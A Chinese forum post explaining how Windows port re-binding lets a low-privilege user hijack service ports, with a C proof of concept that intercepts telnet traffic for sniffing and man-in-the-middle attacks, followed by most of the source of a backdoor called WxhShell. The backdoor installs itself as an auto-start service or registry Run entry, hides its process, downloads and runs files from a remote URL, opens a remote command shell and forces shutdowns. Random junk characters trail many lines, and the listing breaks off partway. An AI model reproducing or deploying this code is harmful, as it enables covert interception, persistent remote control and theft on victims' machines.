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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2/tb6' =  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <<3+g"enno  
xaXV ^ZM3  
  saddr.sin_family = AF_INET; eX<K5K.B  
i+~QDo(Pi  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); =aow d4 t  
sT<{SmBF  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,0T)Oc|HL/  
]+IVSxa!u  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 f]}}yBte`  
GqjO>v fy  
  这意味着什么?意味着可以进行如下的攻击: IYNMU\s  
4]UT+'RubX  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ",Wf uz  
6=>7M b$  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) WzG07 2w  
u[t>Tg2R  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 g)M#{"H  
f-vK}'Z`,  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ",ad7Y7i  
y@9Y,ZR*  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ct\<;I(H  
uAb 03Q  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 |p'i,.(c_W  
\|!gPc%s  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -~'kP /E^  
t/Z!O z6ZE  
  #include !?r/ 4  
  #include =n }Yqny  
  #include )tPl<lb  
  #include    ,%='>A  
  DWORD WINAPI ClientThread(LPVOID lpParam);   7S2c|U4IM  
  int main() ,$i<@2/=m  
  { LO>8 j:  
  WORD wVersionRequested; F25<+ 1kr  
  DWORD ret; y(a}IM3~  
  WSADATA wsaData; Ko-QR(  
  BOOL val; (v|`LmV  
  SOCKADDR_IN saddr; J]]\&MtaO  
  SOCKADDR_IN scaddr; Eb7}$Ji\  
  int err; jhcuK:`L  
  SOCKET s; DD6'M U4  
  SOCKET sc; jrdtd6b}  
  int caddsize; c.6QhE  
  HANDLE mt; >!G5]?taa  
  DWORD tid;   T@>6 3  
  wVersionRequested = MAKEWORD( 2, 2 ); 1Y2a* J  
  err = WSAStartup( wVersionRequested, &wsaData ); 0, "ZV}  
  if ( err != 0 ) { PJ6$);9}6  
  printf("error!WSAStartup failed!\n"); Z0z)  
  return -1; $WM8tF?H  
  } X{|k<^:  
  saddr.sin_family = AF_INET; %$\}z( G  
   vy:6_  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 )rS^F<C  
=/f74s t  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ~vkud+r  
  saddr.sin_port = htons(23); cxk=| ?l  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) I>8 Bc  
  { 1(D1}fcul  
  printf("error!socket failed!\n"); 5Wj5IS/  
  return -1; 7~ILRj5Nq  
  } Q,O]x#  
  val = TRUE; r$Kh3EEF`E  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Z^C!RSQ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) W|FNDP0  
  { ~mW>_[RT;  
  printf("error!setsockopt failed!\n"); EywZIw?mjX  
  return -1; Z|f^nH#-C  
  } KS8\F0q  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 78\\8*  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 pvI&-D #}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >E{#HPpBi  
pZW}^kg=  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) o(vZ*^\  
  { '[0 3L9  
  ret=GetLastError();  \q|e8k4p  
  printf("error!bind failed!\n"); oM m/!Dc  
  return -1; t^dakL  
  } #{.pQi})  
  listen(s,2); AJdlqbd'+  
  while(1) <$Xn:B<H  
  { e=|F(iW  
  caddsize = sizeof(scaddr); FC|y'j 0  
  //接受连接请求 <PH3gyC  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); bi,rMgW  
  if(sc!=INVALID_SOCKET) WllCcD1  
  { a2 IV!0x  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); #nt<j2}m  
  if(mt==NULL) K .c6Rg  
  { \L&qfMjW"Z  
  printf("Thread Creat Failed!\n"); $Ykp8u,(  
  break; .l" _ K  
  } u&Ie%@:h9R  
  } \:18Uoe7  
  CloseHandle(mt); jp\JwE  
  } `3H?*\<(  
  closesocket(s); y^vfgP<@  
  WSACleanup(); A_8`YN"Xk  
  return 0; :5n"N5Go  
  }   u/K)y:ZZ  
  DWORD WINAPI ClientThread(LPVOID lpParam) 'ocwXyP,  
  { =!Baz&#}  
  SOCKET ss = (SOCKET)lpParam; ?Ix'2v  
  SOCKET sc; -+Awm{X_@  
  unsigned char buf[4096]; %K/G+  
  SOCKADDR_IN saddr; I NFz X  
  long num; )yz9? ]a  
  DWORD val; +"fM &F]  
  DWORD ret; KD<; ?oN<O  
  //如果是隐藏端口应用的话,可以在此处加一些判断 7m@^=w  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   N1B$G  
  saddr.sin_family = AF_INET; rVIb'sa  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); A,A-5l<h]?  
  saddr.sin_port = htons(23); FK/ro91L  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "|~B};|MFF  
  { UO7a}Tz<  
  printf("error!socket failed!\n"); _mq*j^u,j  
  return -1; a#~Z5>{  
  } (J?}eb;>n  
  val = 100; U+3PqWB  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jd*%.FDi{  
  { n?ZH2dI \0  
  ret = GetLastError(); ;zxlwdfcr'  
  return -1; N!4xP.Ps  
  } K:Xrfn{s  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `Mh<S+/  
  { c`N`x U+z  
  ret = GetLastError(); 1x<rh\oo  
  return -1; ezNE9g  
  } t&?v9n"X  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~Hs]}Xo  
  { \gk3w,B?E  
  printf("error!socket connect failed!\n"); =B 4gEWR  
  closesocket(sc); 8aIf{(/k  
  closesocket(ss); Y=wP3q  
  return -1; ,LW%'tQ~"  
  } m3v* ,~  
  while(1) Up2\X#6  
  { T`2fPxM:cZ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 do?n /<@o  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 9j>sRE1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 2g07wJ6x  
  num = recv(ss,buf,4096,0); :+V1682u  
  if(num>0) xo"4mbTV  
  send(sc,buf,num,0); &oEq&  
  else if(num==0)  ,IvnNnl2  
  break; 'C?f"P:X{  
  num = recv(sc,buf,4096,0); y&I|m  
  if(num>0) 'krMVC-  
  send(ss,buf,num,0); "5DAGMU  
  else if(num==0) v'~nABYH  
  break; %D6Wlf+^n  
  } b2@x(5#  
  closesocket(ss); u0H`%m  
  closesocket(sc); z# ?w/NE  
  return 0 ;  DlkKQ  
  } u~T$F/]k>  
*UxB`iA  
_G*x:<  
========================================================== $5AtI$TV_!  
:XY3TI  
下边附上一个代码,,WXhSHELL JfINAaboi  
Tb6x@MorP  
========================================================== 9: |K]y  
M&T/vByTn_  
#include "stdafx.h" k{w^MOHNg  
78BuD[<X-  
#include <stdio.h> C>;8`6_!gU  
#include <string.h> m%(JRh  
#include <windows.h> !eoec2h#5  
#include <winsock2.h> q9(}wvtr  
#include <winsvc.h> 67:<X(u+!  
#include <urlmon.h> 10a*7 L  
~u& O  
#pragma comment (lib, "Ws2_32.lib") c,%>7U(w_  
#pragma comment (lib, "urlmon.lib") $^aXVy5p  
)Nd:PnA  
#define MAX_USER   100 // 最大客户端连接数 ? bg pUv  
#define BUF_SOCK   200 // sock buffer H 6<@  
#define KEY_BUFF   255 // 输入 buffer 9)hC,)5  
IL"#TKKv  
#define REBOOT     0   // 重启 Sf:lN4  
#define SHUTDOWN   1   // 关机 bUB6B  
C:EoUu  
#define DEF_PORT   5000 // 监听端口 F5q1VEe  
VQ 3&  
#define REG_LEN     16   // 注册表键长度 Lcb5 9Cs6e  
#define SVC_LEN     80   // NT服务名长度 gbZX'D  
gb#wrI  
// 从dll定义API "G)?  E|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); FMr$cKvE]W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6)j4 TH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G ~\$Oq8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !_#js  
O]!DNN  
// wxhshell配置信息 MT gEq  
struct WSCFG { e%>E| 9*u  
  int ws_port;         // 监听端口 >Cc$ P  
  char ws_passstr[REG_LEN]; // 口令 U]3JCZ{]0E  
  int ws_autoins;       // 安装标记, 1=yes 0=no hlEvL  
  char ws_regname[REG_LEN]; // 注册表键名 []^>QsS(X  
  char ws_svcname[REG_LEN]; // 服务名 `Yve  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C@W0fz  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |@|D''u>6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 q=(wK&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @gk[sQ\O  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G;+ 0V0K  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z [{%.kA  
4TV9t"Dk+c  
}; "0mR*{nF  
D1a2|^zt  
// default Wxhshell configuration AU2Nmf?]%  
struct WSCFG wscfg={DEF_PORT, c6.|; 4  
    "xuhuanlingzhe", hNfL /^w  
    1, ;kA2"c]m  
    "Wxhshell", o*VQH`G*|g  
    "Wxhshell", .kV/ 0!q?  
            "WxhShell Service", J{I?t~u  
    "Wrsky Windows CmdShell Service", xRmB?kM3]5  
    "Please Input Your Password: ", fN;y\!q5  
  1, K;O\Pd  
  "http://www.wrsky.com/wxhshell.exe", )JON&~C  
  "Wxhshell.exe" 5@\<:Zmi  
    }; \WEC1+@  
>EG;2]M&  
// 消息定义模块 DoA f,9|_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; jkd8M;Jw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >FO=ioNY  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Hr'#0fW  
char *msg_ws_ext="\n\rExit."; $@X,J2&  
char *msg_ws_end="\n\rQuit."; UlR7_   
char *msg_ws_boot="\n\rReboot..."; bK7DGw`1  
char *msg_ws_poff="\n\rShutdown..."; iZF{9@  
char *msg_ws_down="\n\rSave to "; A2 r RYzN;  
O4{&B@!  
char *msg_ws_err="\n\rErr!"; ?Eed#pb_  
char *msg_ws_ok="\n\rOK!"; oz--gA:g  
pw8'+FX  
char ExeFile[MAX_PATH]; 7Uh}|6PU  
int nUser = 0; ?Z"}RMM)8  
HANDLE handles[MAX_USER]; qW9|&GuZ$  
int OsIsNt; !G37K8 &&*  
_*_zyWW_j  
SERVICE_STATUS       serviceStatus; 1JY4E2Q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; riz({  
/TdTo@  
// 函数声明 7u;B[qH  
int Install(void); gNJ\*]SY  
int Uninstall(void); +!rK4[W'  
int DownloadFile(char *sURL, SOCKET wsh); LcXrD+ 1  
int Boot(int flag); 6 BMn7m?  
void HideProc(void); gDH x+"?  
int GetOsVer(void); +KZc"0?  
int Wxhshell(SOCKET wsl);  GY>0v  
void TalkWithClient(void *cs); gS!M7xy  
int CmdShell(SOCKET sock); iJcl0)|  
int StartFromService(void); %(i(ZW "  
int StartWxhshell(LPSTR lpCmdLine); VYOO8MQI  
{.ph)8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *GA#.$n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); RZ -w,~  
_=rXaTp  
// 数据结构和表定义 BJvVZl2h  
SERVICE_TABLE_ENTRY DispatchTable[] = B $HQFdTli  
{ fK[9<"PC0  
{wscfg.ws_svcname, NTServiceMain}, Zhw _L  
{NULL, NULL} l{ k   
}; dJkT Hmw  
0]T ;{  
// 自我安装 %j'lWwi  
int Install(void) lB,MVsn18  
{ i"r=b%;;  
  char svExeFile[MAX_PATH]; v<O\ l~S  
  HKEY key; ]M_)f  
  strcpy(svExeFile,ExeFile); $.`(2  
0FXM4YcrJO  
// 如果是win9x系统,修改注册表设为自启动 T_r[#j  
if(!OsIsNt) { E3`KO'v%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  d(k`Yk8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S_^"$j  
  RegCloseKey(key); Q_ $AGF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'oo]oeJ-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); luV%_[F  
  RegCloseKey(key); 0<e7!M=U1  
  return 0; ]TGJ|X  
    } " <=^Sm  
  } X!&=S!}  
} &:Q""e!  
else { ]SK(cfA`  
y:1?~R  
// 如果是NT以上系统,安装为系统服务 O'(qeN<^w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bBjVot  
if (schSCManager!=0) e7<~[>g)  
{ F|V?Z  
  SC_HANDLE schService = CreateService I(<1-3~  
  ( =\`9\Gd  
  schSCManager, sW[42A  
  wscfg.ws_svcname, XfB;^y=u8  
  wscfg.ws_svcdisp, Dt8eVWkN~  
  SERVICE_ALL_ACCESS, ${`\In_?O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %R(j|a9z  
  SERVICE_AUTO_START, N:=D@x~]  
  SERVICE_ERROR_NORMAL, G.L4l|%W  
  svExeFile, DT_012 z  
  NULL, WMrK8e'  
  NULL, #~(@Ka.eA0  
  NULL, )5&Wt@7Kj`  
  NULL, KPKby?qQ^  
  NULL 6? 2/b`k  
  ); vVE^Y  
  if (schService!=0) L{aT"Of{X  
  { aRfkJPPa[  
  CloseServiceHandle(schService); ""TRLs!:M  
  CloseServiceHandle(schSCManager); 3"%:S_[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~KEnZa0  
  strcat(svExeFile,wscfg.ws_svcname); _M{m6k(h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'M YqCfIK  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gn7pIoN  
  RegCloseKey(key); M1VRc[ RRo  
  return 0; MwXgaSV  
    } N\mV+f3A@,  
  } julAN$2  
  CloseServiceHandle(schSCManager); @ -g^R4e<  
} jt;68SA P  
} G| ^tqI  
% kKtPrT  
return 1; E/Y.f  
} ePB=aCZ  
R~)c(jj5  
// 自我卸载 6$2)m;| XY  
int Uninstall(void) to+jQ9q8  
{ L2AZ0E"ub  
  HKEY key; o"K{^ L~u  
zaR~fO  
if(!OsIsNt) { Ci=c"JdB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aZ#c_Q#gZ  
  RegDeleteValue(key,wscfg.ws_regname); XgU]Ktl  
  RegCloseKey(key); NcRY Ch  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sLb[ZQ;j  
  RegDeleteValue(key,wscfg.ws_regname); H|==i2V{  
  RegCloseKey(key); g7#_a6  
  return 0; znX2W0V  
  } ExV>s*y  
} TC" mP!1  
} Qq^>7OU>Co  
else { )=ZWn,ZB  
*}cF]8c5W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L@9"6&  
if (schSCManager!=0) rEz=\yY^j'  
{ fGY. +W_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8x[q[  
  if (schService!=0) jcv3ES^  
  { .u)Po;e`  
  if(DeleteService(schService)!=0) { "VB-=. A  
  CloseServiceHandle(schService); a4O!q;tu7  
  CloseServiceHandle(schSCManager); 315Rk!{AJ  
  return 0; OV Iu&6#  
  } sf@g $  
  CloseServiceHandle(schService); ci6j"nKci  
  } f \[Z`D  
  CloseServiceHandle(schSCManager); B7_:,R.l  
} mf^(Tq[  
} dGTAZ(1W  
Dm"GCV  
return 1; }vPDCUZ  
} z9u"?vdA  
4Ts5*_  
// 从指定url下载文件 j^ex5A.& &  
int DownloadFile(char *sURL, SOCKET wsh) RWz^ MV5K  
{ a&M{y  
  HRESULT hr; b_z;^y~  
char seps[]= "/"; YSs9BF:a  
char *token; C$b$)uI;  
char *file; 4JT9EKo  
char myURL[MAX_PATH]; Y_xPr%%A  
char myFILE[MAX_PATH]; yv[ s)c}  
<pK72  
strcpy(myURL,sURL); PGOi#x  
  token=strtok(myURL,seps); P}KyT?X:  
  while(token!=NULL) #xNLr   
  { qR--lvO  
    file=token; vLXN{ ]  
  token=strtok(NULL,seps); oZA?}#DRl  
  } &zynfj#o  
Ir_K8 3VM  
GetCurrentDirectory(MAX_PATH,myFILE); O)kC[e4  
strcat(myFILE, "\\"); bYYyXM  
strcat(myFILE, file); l+*^P'0u  
  send(wsh,myFILE,strlen(myFILE),0); e3yBB*@  
send(wsh,"...",3,0); o=X6PoJ N_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4Sfv  
  if(hr==S_OK) e #> wv]V  
return 0; |nk&ir6  
else tq8B)<(]  
return 1; Ont4-AP   
$ o?Wum  
} YYzj:'  
#Wey)DI  
// 系统电源模块 ?a+tL'D[  
int Boot(int flag) }:5AB93(  
{ T9osueh4  
  HANDLE hToken; Hc ]/0:  
  TOKEN_PRIVILEGES tkp; Eb7qM.Q] &  
R+ lwOVX  
  if(OsIsNt) { <]r.wn=}M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `7zz&f9dDX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U N1HBW;  
    tkp.PrivilegeCount = 1; j{?,nJdQ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )2C_6eR  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); UN>!#Ji:$  
if(flag==REBOOT) { 9[N+x2q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g 7res  
  return 0; %3M(!X:[  
} Uc/MPCqZ  
else { m64 6|G5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ( {ads_l  
  return 0; u>Z;/kr  
} ]&`_5pS  
  } ;aExEgTq  
  else { DBANq\  
if(flag==REBOOT) { `VCU`Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) m=b~Wf39  
  return 0; -yHVydu=  
} /-Y*V*E  
else { ??5qR8n.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -g(&5._,ZW  
  return 0; $m]~d6  
} \Q7Nz2X  
} p:U9#(v)  
KY9sa/xO  
return 1; *Nloa/a&9  
} R| [mp%Q  
qMD6LWJ  
// win9x进程隐藏模块 +h_'hz&HlS  
void HideProc(void) p1 > D  
{ ^UHt1[  
Sh(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _IBI x\F  
  if ( hKernel != NULL ) v _?0|Ei[  
  { ;A7HEx  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xq+$Q:f  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7Gd)=Q{uur  
    FreeLibrary(hKernel); [ &RZ&  
  } pMnkh}Q#  
4vKp341B  
return; S G|``}OA  
} ]CsF} wr'z  
Cg<:C?>!p  
// 获取操作系统版本 A ^@:Ps  
int GetOsVer(void) Jy?s'tc  
{ hn\<'|n  
  OSVERSIONINFO winfo; N+%E=D>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #D~atgR  
  GetVersionEx(&winfo); U?97yc\$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3qU#Rg ;7  
  return 1; 6KC.l}Y*  
  else 0PO'9#  
  return 0; 6!7LgM%4  
} sN0S~}F+  
&.D3f"  
// 客户端句柄模块 P6V_cw$  
int Wxhshell(SOCKET wsl) qXPjxTg{[  
{ gp'9Pf;\[  
  SOCKET wsh; aZEi|\VU  
  struct sockaddr_in client; #ky]@vyO  
  DWORD myID; }PdS?[R  
k4r;t: O^  
  while(nUser<MAX_USER) l]D?S]{a  
{ K0$8t%Z.  
  int nSize=sizeof(client); ^*(*tS|M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \x?q!(;G2  
  if(wsh==INVALID_SOCKET) return 1; &TYTeJ]  
`(s&H8x#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6Yhd[I3  
if(handles[nUser]==0) {`5Sh1b  
  closesocket(wsh); #G2~#\  
else ?oF+?l  
  nUser++; 6vp\~J  
  } (3 xCW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *ub]M3O  
[r,a0s  
  return 0; C-!!1-Eq?:  
} KP{|xQ>  
d l_ h0  
// 关闭 socket ArWMbT>Zqw  
void CloseIt(SOCKET wsh) Ay\=&4dv  
{ KW.*LoO  
closesocket(wsh); I^erMQn[ z  
nUser--; Za68V/Vj  
ExitThread(0); GPBp.$q+B  
} 1OB,UU"S$  
a+A^njk  
// 客户端请求句柄 "F A&Qm0  
void TalkWithClient(void *cs) 4CA(` _i~  
{ f P'qUN  
Qvc "?yx8}  
  SOCKET wsh=(SOCKET)cs; A&EVzmj-+X  
  char pwd[SVC_LEN]; x\taG.'zX  
  char cmd[KEY_BUFF]; p!qV!:  
char chr[1]; l&3f<e  
int i,j; _'pow&w~  
Py2AnpYa  
  while (nUser < MAX_USER) { f Z8%Z   
B#RBR<MFC  
if(wscfg.ws_passstr) { "|P8L| @*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N-XOPwx'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B*=m%NXf  
  //ZeroMemory(pwd,KEY_BUFF); !RX\">z  
      i=0; 9G njJ  
  while(i<SVC_LEN) { c@H_f  
b[5$$_[  
  // 设置超时 [:M:6JJ  
  fd_set FdRead; ! 6y<jJ>  
  struct timeval TimeOut; tQ!p<Q= $)  
  FD_ZERO(&FdRead); %eJolztKZ  
  FD_SET(wsh,&FdRead); JjBG9Rp{  
  TimeOut.tv_sec=8; I+nKaN+8i  
  TimeOut.tv_usec=0; yCznRd}J  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); IQn|0$':Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); poJ7q (  
E=N44[`.G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l!r2[T]I@7  
  pwd=chr[0]; <ezv  
  if(chr[0]==0xd || chr[0]==0xa) { 7G,{BBB  
  pwd=0; Hn~=O8/2  
  break; Djv0]Sm^!  
  } :|j,x7&/{  
  i++; %x$1g)  
    } -nBb - y  
QGv$~A[h  
  // 如果是非法用户,关闭 socket Gyo[C98  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j_=A)B?  
} 6yDc4AX  
3O{*~D&n  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); eK<X7m^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); um/2.Sn>  
UNx|+  
while(1) { M5$YFGGR  
.MoOjx?  
  ZeroMemory(cmd,KEY_BUFF); >F@qFP N]  
q. i2BoOd  
      // 自动支持客户端 telnet标准   !m7`E  
  j=0; PvmmyF  
  while(j<KEY_BUFF) { G8]DK3#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !Q-h#']~L  
  cmd[j]=chr[0]; BQX6Q<  
  if(chr[0]==0xa || chr[0]==0xd) { kNC.^8ryz[  
  cmd[j]=0; c~_nO d  
  break; KyQO>g{R  
  } 2Fi ~GY_  
  j++; dv?ael^  
    } "6[a%f#Q  
Y|'0bujr  
  // 下载文件 bfjC:"!H  
  if(strstr(cmd,"http://")) { wjJM\BKr`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); B =EI&+F+  
  if(DownloadFile(cmd,wsh)) &E{CQ#k  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nFRU-D$7  
  else QNH-b9u>8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y]zy=8q  
  } R?%J   
  else { % oPt],>  
d|P,e;m-  
    switch(cmd[0]) { K-_XdJ\  
  s} I8:ufT  
  // 帮助 %l4;-x<e  
  case '?': { cst}/8e  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M2pe*z  
    break; > whcZ.8  
  } i6S5 4&^!  
  // 安装 1Q5:Vo^B#  
  case 'i': { _H,xnh#nZ  
    if(Install()) _Q9Mn-&qQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >yZe1CP  
    else t2L }  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \?$`dA[  
    break; &oz^dlw  
    } uwL^Tq}Yh  
  // 卸载 Z<yLu'48)A  
  case 'r': { ab}Kt($  
    if(Uninstall()) Io(*_3V)B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J]!&E~Y  
    else 2bs={p$}a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3R}O3#lj,  
    break; G!u+~{g  
    } v)f;dq^z-  
  // 显示 wxhshell 所在路径 wV604eO(  
  case 'p': { }&*wJ]j`L  
    char svExeFile[MAX_PATH]; '%H\ k5^  
    strcpy(svExeFile,"\n\r"); \&6^c=2=  
      strcat(svExeFile,ExeFile); yd}1Mx  
        send(wsh,svExeFile,strlen(svExeFile),0); xg;o<y KF  
    break; >=6 j:  
    } D<QE?:#  
  // 重启 O)aWTI  
  case 'b': { f@j)t%mh  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [ ,&O  
    if(Boot(REBOOT)) L0Ycf|[s,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {vhP'!a6W  
    else { *QGyF`Go{  
    closesocket(wsh); d:L|BkQ7*  
    ExitThread(0); x+;a2yE~  
    } +%~/~1  
    break; Wik8V0(  
    } L25v7U  
  // 关机 (a9>gLI0  
